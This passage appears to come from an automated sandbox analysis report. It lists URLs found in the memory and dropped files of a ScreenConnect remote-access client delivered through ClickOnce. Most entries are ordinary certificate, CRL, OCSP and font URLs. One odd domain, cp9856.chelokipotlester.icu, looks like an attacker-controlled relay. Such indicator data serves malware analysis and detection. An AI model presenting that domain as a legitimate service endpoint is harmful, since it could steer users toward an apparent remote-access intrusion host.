http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0E
Source: support.Client.exe, 0000000D.00000002.1422012645.00000000010FE000.00000004.00000020.00020000.00000000.sdmp, dfsvc.exe, 0000000E.00000002.2346639670.00000212A3976000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 0000000E.00000002.2346639670.00000212A348D000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 0000000E.00000002.2361346635.00000212BB9C3000.00000004.00000020.00020000.00000000.sdmp, dfsvc.exe, 0000000E.00000002.2368249036.00000212BEFF6000.00000004.00000020.00020000.00000000.sdmp, dfsvc.exe, 0000000E.00000002.2346639670.00000212A3986000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 0000000E.00000002.2367252644.00000212BEF07000.00000004.00000020.00020000.00000000.sdmp, dfsvc.exe, 0000000E.00000002.2346639670.00000212A3477000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 0000000E.00000002.2368249036.00000212BF042000.00000004.00000020.00020000.00000000.sdmp, dfsvc.exe, 0000000E.00000002.2346639670.00000212A32AC000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 0000000E.00000002.2367617805.00000212BEF59000.00000004.00000020.00020000.00000000.sdmp, ScreenConnect.ClientService.exe.14.dr, ScreenConnect.WindowsFileManager.exe0.14.dr, Unconfirmed 974768.crdownload.0.dr, ScreenConnect.WindowsBackstageShell.exe.14.dr, ScreenConnect.WindowsClient.exe0.14.dr, chromecache_128.1.dr, ScreenConnect.ClientService.exe0.14.dr, ScreenConnect.WindowsBackstageShell.exe0.14.dr, ScreenConnect.WindowsClient.exe.14.dr, ScreenConnect.WindowsFileManager.exe.14.dr String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crt0
Source: support.Client.exe, 0000000D.00000002.1422012645.00000000010FE000.00000004.00000020.00020000.00000000.sdmp, dfsvc.exe, 0000000E.00000002.2346639670.00000212A3976000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 0000000E.00000002.2346639670.00000212A348D000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 0000000E.00000002.2346639670.00000212A3986000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 0000000E.00000002.2346639670.00000212A3477000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 0000000E.00000002.2346639670.00000212A32AC000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 0000000E.00000002.2367122651.00000212BEEF5000.00000004.00000020.00020000.00000000.sdmp, ScreenConnect.ClientService.exe.14.dr, ScreenConnect.WindowsFileManager.exe0.14.dr, Unconfirmed 974768.crdownload.0.dr, ScreenConnect.WindowsBackstageShell.exe.14.dr, ScreenConnect.WindowsClient.exe0.14.dr, chromecache_128.1.dr, ScreenConnect.ClientService.exe0.14.dr, ScreenConnect.WindowsBackstageShell.exe0.14.dr, ScreenConnect.WindowsClient.exe.14.dr, ScreenConnect.WindowsFileManager.exe.14.dr String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crt0
Source: F2E248BEDDBB2D85122423C41028BFD40.14.dr String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedRootG4.crt
Source: support.Client.exe, 0000000D.00000002.1422012645.00000000010FE000.00000004.00000020.00020000.00000000.sdmp, dfsvc.exe, 0000000E.00000002.2346639670.00000212A3976000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 0000000E.00000002.2346639670.00000212A348D000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 0000000E.00000002.2346639670.00000212A3986000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 0000000E.00000002.2346639670.00000212A398A000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 0000000E.00000002.2346639670.00000212A36CE000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 0000000E.00000002.2367404303.00000212BEF2F000.00000004.00000020.00020000.00000000.sdmp, dfsvc.exe, 0000000E.00000002.2367252644.00000212BEF07000.00000004.00000020.00020000.00000000.sdmp, dfsvc.exe, 0000000E.00000002.2367830615.00000212BEF7E000.00000004.00000020.00020000.00000000.sdmp, dfsvc.exe, 0000000E.00000002.2346639670.00000212A3477000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 0000000E.00000002.2346639670.00000212A32AC000.00000004.00000800.00020000.00000000.sdmp, ScreenConnect.ClientService.exe.14.dr, ScreenConnect.WindowsFileManager.exe0.14.dr, Unconfirmed 974768.crdownload.0.dr, ScreenConnect.WindowsBackstageShell.exe.14.dr, ScreenConnect.WindowsClient.exe0.14.dr, chromecache_128.1.dr, ScreenConnect.ClientService.exe0.14.dr, ScreenConnect.WindowsBackstageShell.exe0.14.dr, ScreenConnect.WindowsClient.exe.14.dr, ScreenConnect.WindowsFileManager.exe.14.dr String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedRootG4.crt0C
Source: dfsvc.exe, 0000000E.00000002.2346639670.00000212A398A000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 0000000E.00000002.2346639670.00000212A36CE000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 0000000E.00000002.2346639670.00000212A3A29000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://cp9856.chelokipotlester.icu
Source: svchost.exe, 00000004.00000002.2413049971.00000227B8E70000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://crl.ver)
Source: support.Client.exe, 0000000D.00000002.1422012645.00000000010FE000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://crl3.digicert.com
Source: support.Client.exe, 0000000D.00000002.1422012645.00000000010FE000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://crl3.digicert.com/Di
Source: dfsvc.exe, 0000000E.00000002.2346639670.00000212A3976000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 0000000E.00000002.2346639670.00000212A348D000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 0000000E.00000002.2368249036.00000212BEFF6000.00000004.00000020.00020000.00000000.sdmp, dfsvc.exe, 0000000E.00000002.2346639670.00000212A3986000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 0000000E.00000002.2346639670.00000212A398A000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 0000000E.00000002.2346639670.00000212A36CE000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 0000000E.00000002.2346639670.00000212A3477000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 0000000E.00000002.2346639670.00000212A32AC000.00000004.00000800.00020000.00000000.sdmp, ScreenConnect.ClientService.exe.14.dr, ScreenConnect.WindowsFileManager.exe0.14.dr, Unconfirmed 974768.crdownload.0.dr, ScreenConnect.WindowsBackstageShell.exe.14.dr, ScreenConnect.WindowsClient.exe0.14.dr, chromecache_128.1.dr, ScreenConnect.ClientService.exe0.14.dr, ScreenConnect.WindowsBackstageShell.exe0.14.dr, ScreenConnect.WindowsClient.exe.14.dr, ScreenConnect.WindowsFileManager.exe.14.dr String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0
Source: support.Client.exe, 0000000D.00000002.1422012645.00000000010FE000.00000004.00000020.00020000.00000000.sdmp, dfsvc.exe, 0000000E.00000002.2346639670.00000212A3976000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 0000000E.00000002.2346639670.00000212A348D000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 0000000E.00000002.2361346635.00000212BB9C3000.00000004.00000020.00020000.00000000.sdmp, dfsvc.exe, 0000000E.00000002.2368249036.00000212BEFF6000.00000004.00000020.00020000.00000000.sdmp, dfsvc.exe, 0000000E.00000002.2346639670.00000212A3986000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 0000000E.00000002.2367252644.00000212BEF07000.00000004.00000020.00020000.00000000.sdmp, dfsvc.exe, 0000000E.00000002.2346639670.00000212A3477000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 0000000E.00000002.2368249036.00000212BF042000.00000004.00000020.00020000.00000000.sdmp, dfsvc.exe, 0000000E.00000002.2346639670.00000212A32AC000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 0000000E.00000002.2367617805.00000212BEF59000.00000004.00000020.00020000.00000000.sdmp, ScreenConnect.ClientService.exe.14.dr, ScreenConnect.WindowsFileManager.exe0.14.dr, Unconfirmed 974768.crdownload.0.dr, ScreenConnect.WindowsBackstageShell.exe.14.dr, ScreenConnect.WindowsClient.exe0.14.dr, chromecache_128.1.dr, ScreenConnect.ClientService.exe0.14.dr, ScreenConnect.WindowsBackstageShell.exe0.14.dr, ScreenConnect.WindowsClient.exe.14.dr, ScreenConnect.WindowsFileManager.exe.14.dr String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crl0S
Source: support.Client.exe, 0000000D.00000002.1422012645.00000000010FE000.00000004.00000020.00020000.00000000.sdmp, dfsvc.exe, 0000000E.00000002.2346639670.00000212A3976000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 0000000E.00000002.2346639670.00000212A348D000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 0000000E.00000002.2346639670.00000212A3986000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 0000000E.00000002.2346639670.00000212A3477000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 0000000E.00000002.2346639670.00000212A32AC000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 0000000E.00000002.2367122651.00000212BEEF5000.00000004.00000020.00020000.00000000.sdmp, ScreenConnect.ClientService.exe.14.dr, ScreenConnect.WindowsFileManager.exe0.14.dr, Unconfirmed 974768.crdownload.0.dr, ScreenConnect.WindowsBackstageShell.exe.14.dr, ScreenConnect.WindowsClient.exe0.14.dr, chromecache_128.1.dr, ScreenConnect.ClientService.exe0.14.dr, ScreenConnect.WindowsBackstageShell.exe0.14.dr, ScreenConnect.WindowsClient.exe.14.dr, ScreenConnect.WindowsFileManager.exe.14.dr String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crl0
Source: ScreenConnect.WindowsFileManager.exe.14.dr String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedRootG4.crl0
Source: support.Client.exe, 0000000D.00000002.1422012645.00000000010FE000.00000004.00000020.00020000.00000000.sdmp, dfsvc.exe, 0000000E.00000002.2346639670.00000212A3976000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 0000000E.00000002.2346639670.00000212A348D000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 0000000E.00000002.2361346635.00000212BB9C3000.00000004.00000020.00020000.00000000.sdmp, dfsvc.exe, 0000000E.00000002.2368249036.00000212BEFF6000.00000004.00000020.00020000.00000000.sdmp, dfsvc.exe, 0000000E.00000002.2346639670.00000212A3986000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 0000000E.00000002.2367252644.00000212BEF07000.00000004.00000020.00020000.00000000.sdmp, dfsvc.exe, 0000000E.00000002.2346639670.00000212A3477000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 0000000E.00000002.2368249036.00000212BF042000.00000004.00000020.00020000.00000000.sdmp, dfsvc.exe, 0000000E.00000002.2346639670.00000212A32AC000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 0000000E.00000002.2367617805.00000212BEF59000.00000004.00000020.00020000.00000000.sdmp, ScreenConnect.ClientService.exe.14.dr, ScreenConnect.WindowsFileManager.exe0.14.dr, Unconfirmed 974768.crdownload.0.dr, ScreenConnect.WindowsBackstageShell.exe.14.dr, ScreenConnect.WindowsClient.exe0.14.dr, chromecache_128.1.dr, ScreenConnect.ClientService.exe0.14.dr, ScreenConnect.WindowsBackstageShell.exe0.14.dr, ScreenConnect.WindowsClient.exe.14.dr, ScreenConnect.WindowsFileManager.exe.14.dr String found in binary or memory: http://crl4.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crl0
Source: dfsvc.exe, 0000000E.00000002.2367012990.00000212BEEE0000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en
Source: dfsvc.exe, 0000000E.00000002.2367830615.00000212BEF7E000.00000004.00000020.00020000.00000000.sdmp, 77EC63BDA74BD0D0E0426DC8F80085060.14.dr String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
Source: dfsvc.exe, 0000000E.00000002.2366106744.00000212BEE92000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cabi
Source: 57C8EDB95DF3F0AD4EE2DC2B8CFD4157.14.dr String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/disallowedcertstl.cab
Source: qmgr.db.4.dr String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjFkQUFWdmlaXy12MHFU
Source: qmgr.db.4.dr String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaa5khuklrahrby256zitbxd5wq_1.0.2512.1/n
Source: qmgr.db.4.dr String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaxuysrwzdnwqutaimsxybnjbrq_2023.9.25.0/
Source: qmgr.db.4.dr String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adhioj45hzjkfunn7ccrbqyyhu3q_20230916.567
Source: qmgr.db.4.dr String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adqyi2uk2bd7epzsrzisajjiqe_9.48.0/gcmjkmg
Source: qmgr.db.4.dr String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dix4vjifjljmfobl3a7lhcpvw4_414/lmelglejhe
Source: svchost.exe, 00000004.00000002.2413381367.00000227B8E7A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000004.00000003.2111953241.00000227B8EE6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000004.00000002.2411041899.00000227B8102000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000004.00000002.2412232845.00000227B8E48000.00000004.00000020.00020000.00000000.sdmp, edb.log.4.dr String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/e6xlmsu5i2bokri3w4cyuhv4nq_2024.8.10.0/go
Source: svchost.exe, 00000004.00000002.2410173948.00000227B78E7000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://edgedl.me.gvt1.com:80/edgedl/release2/chrome_component/e6xlmsu5i2bokri3w4cyuhv4nq_2024.8.10.0
Source: svchost.exe, 00000004.00000002.2414294076.00000227B8EAE000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://edgedl.me.gvt1.com:80IO:ID:
Source: edb.log.4.dr String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: 8EC9B1D0ABBD7F98B401D425828828CE_BE4413523710330F97BEE5D4A544C42B0.14.dr String found in binary or memory: http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBSRXerF0eFeSWRripTgTkcJWMm7iQQUaDfg67Y7%2BF8Rh
Source: C8E534EE129F27D55460CE17FD628216_1130D9B25898B0DB0D4F04DC5B93F1410.14.dr String found in binary or memory: http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBTfIs%2BLjDtGwQ09XEB1Yeq%2BtX%2BBgQQU7NfjgtJxX
Source: support.Client.exe, 0000000D.00000002.1422012645.00000000010FE000.00000004.00000020.00020000.00000000.sdmp, dfsvc.exe, 0000000E.00000002.2346639670.00000212A3976000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 0000000E.00000002.2346639670.00000212A348D000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 0000000E.00000002.2361346635.00000212BB9C3000.00000004.00000020.00020000.00000000.sdmp, dfsvc.exe, 0000000E.00000002.2368249036.00000212BEFF6000.00000004.00000020.00020000.00000000.sdmp, dfsvc.exe, 0000000E.00000002.2346639670.00000212A3986000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 0000000E.00000002.2367252644.00000212BEF07000.00000004.00000020.00020000.00000000.sdmp, dfsvc.exe, 0000000E.00000002.2346639670.00000212A3477000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 0000000E.00000002.2368249036.00000212BF042000.00000004.00000020.00020000.00000000.sdmp, dfsvc.exe, 0000000E.00000002.2346639670.00000212A32AC000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 0000000E.00000002.2367617805.00000212BEF59000.00000004.00000020.00020000.00000000.sdmp, ScreenConnect.ClientService.exe.14.dr, ScreenConnect.WindowsFileManager.exe0.14.dr, Unconfirmed 974768.crdownload.0.dr, ScreenConnect.WindowsBackstageShell.exe.14.dr, ScreenConnect.WindowsClient.exe0.14.dr, chromecache_128.1.dr, ScreenConnect.ClientService.exe0.14.dr, ScreenConnect.WindowsBackstageShell.exe0.14.dr, ScreenConnect.WindowsClient.exe.14.dr, ScreenConnect.WindowsFileManager.exe.14.dr String found in binary or memory: http://ocsp.digicert.com0
Source: support.Client.exe, 0000000D.00000002.1422012645.00000000010FE000.00000004.00000020.00020000.00000000.sdmp, dfsvc.exe, 0000000E.00000002.2346639670.00000212A3976000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 0000000E.00000002.2346639670.00000212A348D000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 0000000E.00000002.2346639670.00000212A3986000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 0000000E.00000002.2346639670.00000212A398A000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 0000000E.00000002.2346639670.00000212A36CE000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 0000000E.00000002.2367404303.00000212BEF2F000.00000004.00000020.00020000.00000000.sdmp, dfsvc.exe, 0000000E.00000002.2367252644.00000212BEF07000.00000004.00000020.00020000.00000000.sdmp, dfsvc.exe, 0000000E.00000002.2367830615.00000212BEF7E000.00000004.00000020.00020000.00000000.sdmp, dfsvc.exe, 0000000E.00000002.2346639670.00000212A3477000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 0000000E.00000002.2346639670.00000212A32AC000.00000004.00000800.00020000.00000000.sdmp, ScreenConnect.ClientService.exe.14.dr, ScreenConnect.WindowsFileManager.exe0.14.dr, Unconfirmed 974768.crdownload.0.dr, ScreenConnect.WindowsBackstageShell.exe.14.dr, ScreenConnect.WindowsClient.exe0.14.dr, chromecache_128.1.dr, ScreenConnect.ClientService.exe0.14.dr, ScreenConnect.WindowsBackstageShell.exe0.14.dr, ScreenConnect.WindowsClient.exe.14.dr, ScreenConnect.WindowsFileManager.exe.14.dr String found in binary or memory: http://ocsp.digicert.com0A
Source: dfsvc.exe, 0000000E.00000002.2346639670.00000212A3976000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 0000000E.00000002.2346639670.00000212A348D000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 0000000E.00000002.2368249036.00000212BEFF6000.00000004.00000020.00020000.00000000.sdmp, dfsvc.exe, 0000000E.00000002.2346639670.00000212A3986000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 0000000E.00000002.2346639670.00000212A398A000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 0000000E.00000002.2346639670.00000212A36CE000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 0000000E.00000002.2346639670.00000212A3477000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 0000000E.00000002.2346639670.00000212A32AC000.00000004.00000800.00020000.00000000.sdmp, ScreenConnect.ClientService.exe.14.dr, ScreenConnect.WindowsFileManager.exe0.14.dr, Unconfirmed 974768.crdownload.0.dr, ScreenConnect.WindowsBackstageShell.exe.14.dr, ScreenConnect.WindowsClient.exe0.14.dr, chromecache_128.1.dr, ScreenConnect.ClientService.exe0.14.dr, ScreenConnect.WindowsBackstageShell.exe0.14.dr, ScreenConnect.WindowsClient.exe.14.dr, ScreenConnect.WindowsFileManager.exe.14.dr String found in binary or memory: http://ocsp.digicert.com0C
Source: dfsvc.exe, 0000000E.00000002.2346639670.00000212A3976000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 0000000E.00000002.2346639670.00000212A348D000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 0000000E.00000002.2346639670.00000212A3986000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 0000000E.00000002.2346639670.00000212A3477000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 0000000E.00000002.2346639670.00000212A32AC000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 0000000E.00000002.2367122651.00000212BEEF5000.00000004.00000020.00020000.00000000.sdmp, ScreenConnect.ClientService.exe.14.dr, ScreenConnect.WindowsFileManager.exe0.14.dr, Unconfirmed 974768.crdownload.0.dr, ScreenConnect.WindowsBackstageShell.exe.14.dr, ScreenConnect.WindowsClient.exe0.14.dr, chromecache_128.1.dr, ScreenConnect.ClientService.exe0.14.dr, ScreenConnect.WindowsBackstageShell.exe0.14.dr, ScreenConnect.WindowsClient.exe.14.dr, ScreenConnect.WindowsFileManager.exe.14.dr String found in binary or memory: http://ocsp.digicert.com0X
Source: dfsvc.exe, 0000000E.00000002.2368068234.00000212BEFDE000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://ocsp.digicert.comhttp://crl3.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.cr
Source: dfsvc.exe, 0000000E.00000002.2368068234.00000212BEFDE000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://ocsp.digicert.comhttp://crl3.digicert.com/DigiCertTrustedRootG4.crl
Source: ScreenConnect.WindowsClient.exe, 00000011.00000002.1948935379.000000001B469000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://schemas.micro
Source: dfsvc.exe, 0000000E.00000002.2346639670.00000212A3221000.00000004.00000800.00020000.00000000.sdmp, ScreenConnect.ClientService.exe, 00000013.00000002.2412131785.00000000022AC000.00000004.00000800.00020000.00000000.sdmp, ScreenConnect.WindowsClient.exe, 00000015.00000002.2005207241.0000000002EB9000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: dfsvc.exe, 0000000E.00000002.2367122651.00000212BEEF5000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://wk3.org/2000/0pldsig#sha1qs
Source: dfsvc.exe, 0000000E.00000002.2366106744.00000212BEE92000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://wl3.org/2000/0mldsig#sha1o
Source: dfsvc.exe, 0000000E.00000002.2362337235.00000212BD142000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0
Source: svchost.exe, 00000007.00000002.1366965576.0000024F94624000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://www.bingmapsportal.com
Source: dfsvc.exe, 0000000E.00000002.2362337235.00000212BD142000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.carterandcone.coml
Source: support.Client.exe, 0000000D.00000002.1422012645.00000000010FE000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://www.digicert.com/
Source: support.Client.exe, 0000000D.00000002.1422012645.00000000010FE000.00000004.00000020.00020000.00000000.sdmp, dfsvc.exe, 0000000E.00000002.2346639670.00000212A3976000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 0000000E.00000002.2346639670.00000212A348D000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 0000000E.00000002.2361346635.00000212BB9C3000.00000004.00000020.00020000.00000000.sdmp, dfsvc.exe, 0000000E.00000002.2368249036.00000212BEFF6000.00000004.00000020.00020000.00000000.sdmp, dfsvc.exe, 0000000E.00000002.2346639670.00000212A3986000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 0000000E.00000002.2367252644.00000212BEF07000.00000004.00000020.00020000.00000000.sdmp, dfsvc.exe, 0000000E.00000002.2346639670.00000212A3477000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 0000000E.00000002.2368249036.00000212BF042000.00000004.00000020.00020000.00000000.sdmp, dfsvc.exe, 0000000E.00000002.2346639670.00000212A32AC000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 0000000E.00000002.2367617805.00000212BEF59000.00000004.00000020.00020000.00000000.sdmp, ScreenConnect.ClientService.exe.14.dr, ScreenConnect.WindowsFileManager.exe0.14.dr, Unconfirmed 974768.crdownload.0.dr, ScreenConnect.WindowsBackstageShell.exe.14.dr, ScreenConnect.WindowsClient.exe0.14.dr, chromecache_128.1.dr, ScreenConnect.ClientService.exe0.14.dr, ScreenConnect.WindowsBackstageShell.exe0.14.dr, ScreenConnect.WindowsClient.exe.14.dr, ScreenConnect.WindowsFileManager.exe.14.dr String found in binary or memory: http://www.digicert.com/CPS0
Source: dfsvc.exe, 0000000E.00000002.2362337235.00000212BD142000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.fontbureau.com
Source: dfsvc.exe, 0000000E.00000002.2362337235.00000212BD142000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.fontbureau.com/designers
Source: dfsvc.exe, 0000000E.00000002.2362337235.00000212BD142000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.fontbureau.com/designers/?
Source: dfsvc.exe, 0000000E.00000002.2362337235.00000212BD142000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.fontbureau.com/designers/cabarga.htmlN
Source: dfsvc.exe, 0000000E.00000002.2362337235.00000212BD142000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.fontbureau.com/designers/frere-jones.html
Source: dfsvc.exe, 0000000E.00000002.2362337235.00000212BD142000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.fontbureau.com/designers8
Source: dfsvc.exe, 0000000E.00000002.2362337235.00000212BD142000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.fontbureau.com/designers?
Source: dfsvc.exe, 0000000E.00000002.2362337235.00000212BD142000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.fontbureau.com/designersG
Source: dfsvc.exe, 0000000E.00000002.2362337235.00000212BD142000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.fonts.com
Source: dfsvc.exe, 0000000E.00000002.2362337235.00000212BD142000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.founder.com.cn/cn
Source: dfsvc.exe, 0000000E.00000002.2362337235.00000212BD142000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.founder.com.cn/cn/bThe
Source: dfsvc.exe, 0000000E.00000002.2362337235.00000212BD142000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.founder.com.cn/cn/cThe
Source: dfsvc.exe, 0000000E.00000002.2362337235.00000212BD142000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.galapagosdesign.com/DPlease
Source: dfsvc.exe, 0000000E.00000002.2362337235.00000212BD142000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.galapagosdesign.com/staff/dennis.htm
Source: dfsvc.exe, 0000000E.00000002.2362337235.00000212BD142000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.goodfont.co.kr
Source: dfsvc.exe, 0000000E.00000002.2362337235.00000212BD142000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.jiyu-kobo.co.jp/
Source: dfsvc.exe, 0000000E.00000002.2362337235.00000212BD142000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.sajatypeworks.com
Source: dfsvc.exe, 0000000E.00000002.2362337235.00000212BD142000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.sakkal.com
Source: dfsvc.exe, 0000000E.00000002.2362337235.00000212BD142000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.sandoll.co.kr
Source: dfsvc.exe, 0000000E.00000002.2362337235.00000212BD142000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.tiro.com
Source: dfsvc.exe, 0000000E.00000002.2362337235.00000212BD142000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.typography.netD
Source: dfsvc.exe, 0000000E.00000002.2362337235.00000212BD142000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.urwpp.deDPlease
Source: dfsvc.exe, 0000000E.00000002.2346639670.00000212A36CE000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 0000000E.00000002.2346639670.00000212A38E5000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.w3.o
Source: dfsvc.exe, 0000000E.00000002.2346639670.00000212A3544000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 0000000E.00000002.2346639670.00000212A35EB000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 0000000E.00000002.2346639670.00000212A38E5000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 0000000E.00000002.2346639670.00000212A3908000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.w3.or
Source: dfsvc.exe, 0000000E.00000002.2346639670.00000212A32B0000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.xrml.org/schema/2001/11/xrml2core
